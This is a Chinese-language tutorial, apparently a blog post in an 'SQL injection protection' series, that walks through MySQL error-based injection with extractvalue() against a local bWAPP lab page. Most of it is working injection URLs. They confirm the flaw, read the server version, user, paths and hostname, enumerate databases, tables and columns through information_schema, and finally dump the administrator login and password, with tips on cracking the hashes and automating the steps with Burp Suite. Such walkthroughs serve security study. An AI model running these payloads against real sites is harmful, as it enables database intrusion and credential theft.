SQL注入防护系列:
二、Mysql 基于常规显错方式的注入方法 [extractvalue]
0x01
依然还是按照我们之前说的正常注入流程来,先判断注入是不是真的存在,以确定利用什么样的方式来注入
0x02
抱歉,实在没能找到对应漏洞的实例站点,所以,咱们就直接用bwapp来本地演示了,正常页面如下:
http://192.168.1.129/sqli_2.php?movie=1&action=go 注入参数是movie
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第1张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第1张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/17a20c1d4e114ecb8eaeed7f17775c28.png.jpg)
0x03
尝试正常的'\'干扰,观察到页面确实报错了,实战中一般看到这种情况,存在注入已经八九不离十了,作为学习, 我们这里还是先按照基础的流程来,正常报错之后,我们还要再确认一遍,这里到底是不是真的存在注入
http://192.168.1.129/sqli_2.php?movie=1\&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第2张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第2张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/0131629fa5b44681b0e3a912fe16b742.png.jpg)
0x04
可以看到,当条件为真时页面返回正常,其实,按照往常经验,看到这种情况,基本就可以确定了
http://192.168.1.129/sqli_2.php?movie=1 and 112=112 -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第3张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第3张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/dfc71360a74f4ef2b6298b996f331c00.png.jpg)
0x05
和自己想的一样,当条件为假时页面预期返回异常,现在可以确定, 这确实是个正儿八经的常规mysql注入点
http://192.168.1.129/sqli_2.php?movie=1 and 112=11212 -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第4张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第4张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/990633fb12ad425688faffa4d7b35e5a.png.jpg)
0x06
既然已经明确是个注入点,后面的事情自然就很清晰了,确定权限,查数据[主要是想查到后台管理员的账号密码],因此次的的目的主要还是想告诉大家怎么利用mysql显错特性来注入,所以关于其它的一些注入方式,这里就先暂时不涉及,关于下面所用的各种函数,在前面也已有过详细说明,此处也不在重复了,如果不太清楚,可以回过头再去看下以前的文档......
0x07
废话不多说,我们开始搜集各种数据库信息
确定目标mysql版本,前面也提到过4和5的注入方式完全不一样,不过现在遇到4的可能性一般不太大了
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,version())) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第5张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第5张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/f98248c555944232b821f02a83bba014.png.jpg)
确定当前数据库用户权限,虽然,这里是root权限,但实际渗透中,肯定不会总这么幸运,所以我们还是先把最正常的注入流程走一遍,关于root权限下的注入点利用,后面我们会单独再说
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,user())) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第6张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第6张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/f0d5e2b21fe04550a8759a3298332ed9.png.jpg)
确定当前所在的数据库名
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,database())) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第7张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第7张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/6f7c7078d87045e0a39744e7d677a725.png.jpg)
确定目标服务器操作系统类型,linux or win
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,@@version_compile_os)) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第8张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第8张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/69ca195c5ac8435a9773478bb13fe285.png.jpg)
确定数据目录的存放位置
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,@@datadir)) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第9张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第9张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/99c025093de64cc7a52a1eda32026d0e.png.jpg)
确定数据库安装目录位置,有时候我们可能要用这个来猜目标网站的物理经,尤其在实在曝不出来目标物理路径时
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,@@basedir)) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第10张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第10张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/e5e348d489e94a1bbea20f06a1594216.png.jpg)
确定目标的机器名,可以通过这个先大致判断目标机器是虚拟机还是目标自己的机器
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,@@hostname)) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第11张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第11张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/ac214e1e8ad441bca1e9e0858acda271.png.jpg)
0x08
查出所有'库名'[当前数据库用户有权限看到的所有库],可配合limit一个个库名进行遍历
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 1,1))); -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第12张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第12张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/53e66df4cf5f43db881668fa7376ea37.png.jpg)
后续像这种很机械性的操作,我们直接全部都交给burpsuite就可以了,实际渗透中,如果库名,表名或者字段名特别多的情况下,纯靠手工,估计非累死不可,好在有很多工具帮我们做这样的事情,比如,最常用的burpsuite
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第13张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第13张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/5d4261fd310b41cbb141065605721212.png.jpg)
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第14张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第14张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/4a125f545d7d47d6a96868150f8dab5c.png.jpg)
0x09
库名查完了,接着就该轮到查指定库中的所有表名了,这里暂以' bWAPP'库为例,我现在想查询' bWAPP'下的所有表名,同样也是利用limit一个个表名遍历,直到把所有的表名都跑出来为止
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables where table_schema=0x6257415050 limit 3,1))) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第15张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第15张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/5ebc32707ba14f9fbf6593007fc9b5a4.png.jpg)
图省事儿,我们还是直接拿burpusite跑下就可以了,很快,我们看到了'users'[假设此为网站后台管理表]表
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第16张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第16张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/e882c67c525548fc982a663b13e3a330.png.jpg)
0x10
既然管理表有了,接下来的事情就很简单了,去把这个表里的所有字段名查出来就可以了,主要还是想找到管理表中的账号密码字段分别是啥,后面好直接读取管理员的账号密码数据,具体方法同上,使用limit逐个遍历
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns where table_name=0x7573657273 limit 1,1))) -- -&action=go
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第17张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第17张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/4c2e136bb30d411ba7603fab10ae8992.png.jpg)
依然是拿burpsuite跑一下,如下可知,管理表的账号密码字段分别是 'login','password'
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第18张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第18张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/a12428a344af451f85e1c9e9e31e7963.png.jpg)
![二、Mysql 基于常规显错方式的注入方法 [extractvalue]_固若金汤_第19张_铁匠运维网 二、Mysql 基于常规显错方式的注入方法 [extractvalue]_https://www.tiejiang.org_固若金汤_第19张](http://static.51tbox.com/static/2024-12-22/col/da1f071fb31090252341a5a794490e18/9c0f8685c927457e9dd0086e54580fc3.png.jpg)
0x11
至此为止,就差把管理员的账号密码都读出来了,具体方法同上,依旧是limit逐个遍历,直到把所有的账号密码密码数据都读出来,至于密码hash,拿到cmd5去跑一下就可以了,一般情况下,基本都能跑出来,关于拿到目标网站后台账号密码以后的事情,我们后续再慢慢说
http://192.168.1.129/sqli_2.php?movie=1 and extractvalue(rand(),concat(0x3a,(select concat(login,0x3a,password) from users limit 1,1)))-- -&action=go
51工具盒子